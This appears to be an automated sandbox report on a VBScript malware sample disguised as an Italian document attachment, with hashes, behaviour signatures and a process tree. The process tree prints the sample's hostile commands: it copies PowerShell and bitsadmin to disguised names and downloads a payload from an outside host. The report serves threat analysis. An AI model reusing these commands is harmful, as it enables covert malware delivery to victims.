Analysis
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max time kernel
135s -
max time network
155s -
platform
windows10-2004_x64 -
resource
win10v2004-en-20220113 -
submitted
21-02-2022 10:17
Static task
static1
Behavioral task
behavioral1
Sample
Allegato_doc_02613440060.vbs
Resource
win7-en-20211208
General
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Target
Allegato_doc_02613440060.vbs
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Size
8KB
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MD5
6266da42dda2a91e97c63181b85b26d4
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SHA1
2a0673cc7ea00b5187dac046b906aa1018317236
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SHA256
12bad94c43427bae4e3855ebdd60d32d7a6305f108a811ead926950450ec503b
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SHA512
fed5ca3e0b5f2214d12c6e8e6d86b6f96589e4629a588bb91cb3df90e3f20c17bb0413f9cbc1683a64642a5b2aa1ddc3ce2a59bb674febe28676c5a5157913c6
Malware Config
Signatures
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Executes dropped EXE 1 IoCs
Processes:
NXBtfaYin.exepid process 1384 NXBtfaYin.exe -
Checks computer location settings 2 TTPs 1 IoCs
Looks up country code configured in the registry, likely geofence.
Processes:
WScript.exedescription ioc process Key value queried \REGISTRY\USER\S-1-5-21-1346565761-3498240568-4147300184-1000\Control Panel\International\Geo\Nation WScript.exe -
Drops file in Windows directory 6 IoCs
Processes:
svchost.exedescription ioc process File opened for modification C:\Windows\WindowsUpdate.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.chk svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\Logs\edb.log svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.edb svchost.exe File opened for modification C:\Windows\SoftwareDistribution\DataStore\DataStore.jfm svchost.exe File opened for modification C:\Windows\SoftwareDistribution\ReportingEvents.log svchost.exe -
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.
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Suspicious use of AdjustPrivilegeToken 6 IoCs
Processes:
svchost.exedescription pid process Token: SeShutdownPrivilege 4300 svchost.exe Token: SeCreatePagefilePrivilege 4300 svchost.exe Token: SeShutdownPrivilege 4300 svchost.exe Token: SeCreatePagefilePrivilege 4300 svchost.exe Token: SeShutdownPrivilege 4300 svchost.exe Token: SeCreatePagefilePrivilege 4300 svchost.exe -
Suspicious use of WriteProcessMemory 9 IoCs
Processes:
WScript.execmd.exedescription pid process target process PID 2232 wrote to memory of 2712 2232 WScript.exe cmd.exe PID 2232 wrote to memory of 2712 2232 WScript.exe cmd.exe PID 2712 wrote to memory of 4460 2712 cmd.exe cmd.exe PID 2712 wrote to memory of 4460 2712 cmd.exe cmd.exe PID 2712 wrote to memory of 4780 2712 cmd.exe cmd.exe PID 2712 wrote to memory of 4780 2712 cmd.exe cmd.exe PID 2232 wrote to memory of 1384 2232 WScript.exe NXBtfaYin.exe PID 2232 wrote to memory of 1384 2232 WScript.exe NXBtfaYin.exe PID 2232 wrote to memory of 1384 2232 WScript.exe NXBtfaYin.exe
Processes
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C:\Windows\System32\WScript.exe"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Allegato_doc_02613440060.vbs"1⤵
- Checks computer location settings
- Suspicious use of WriteProcessMemory
PID:2232 -
C:\Windows\System32\cmd.exe"C:\Windows\System32\cmd.exe" /c cmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe & cmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe2⤵
- Suspicious use of WriteProcessMemory
PID:2712 -
C:\Windows\system32\cmd.execmd /c copy /Z c:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe C:\ProgramData\fatSkEH.exe3⤵PID:4460
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C:\Windows\system32\cmd.execmd /c copy /Y /Z c:\Windows\SysWOW64\bi*.exe C:\ProgramData\NXBtfaY*.exe3⤵PID:4780
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C:\ProgramData\NXBtfaYin.exe"C:\ProgramData\NXBtfaYin.exe" /transfer vQtoGc /download https://ladiesincode.com/ladi/02613440060/maps.png C:\Users\Admin\AppData\Roaming\maps.png2⤵
- Executes dropped EXE
PID:1384
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C:\Windows\system32\svchost.exeC:\Windows\system32\svchost.exe -k netsvcs -p -s wuauserv1⤵
- Drops file in Windows directory
- Suspicious use of AdjustPrivilegeToken
PID:4300
Network
MITRE ATT&CK Enterprise v6
Replay Monitor
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Downloads
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MD5
f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a
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MD5
f57a03fa0e654b393bb078d1c60695f3
SHA11ced6636bd2462c0f1b64775e1981d22ae57af0b
SHA256c93b7734470cf96c5170f7b21f361cdf3f74ca819626c83c4b8a68210deeb35c
SHA5127e84dd9a3e29523d25c0927424261ced908191e3151c9802b61fa3c5fe13d1192d19996cb435bb6d9be5731b8370e8ffb6ad26a4ba0733e212a103eb0bd75a2a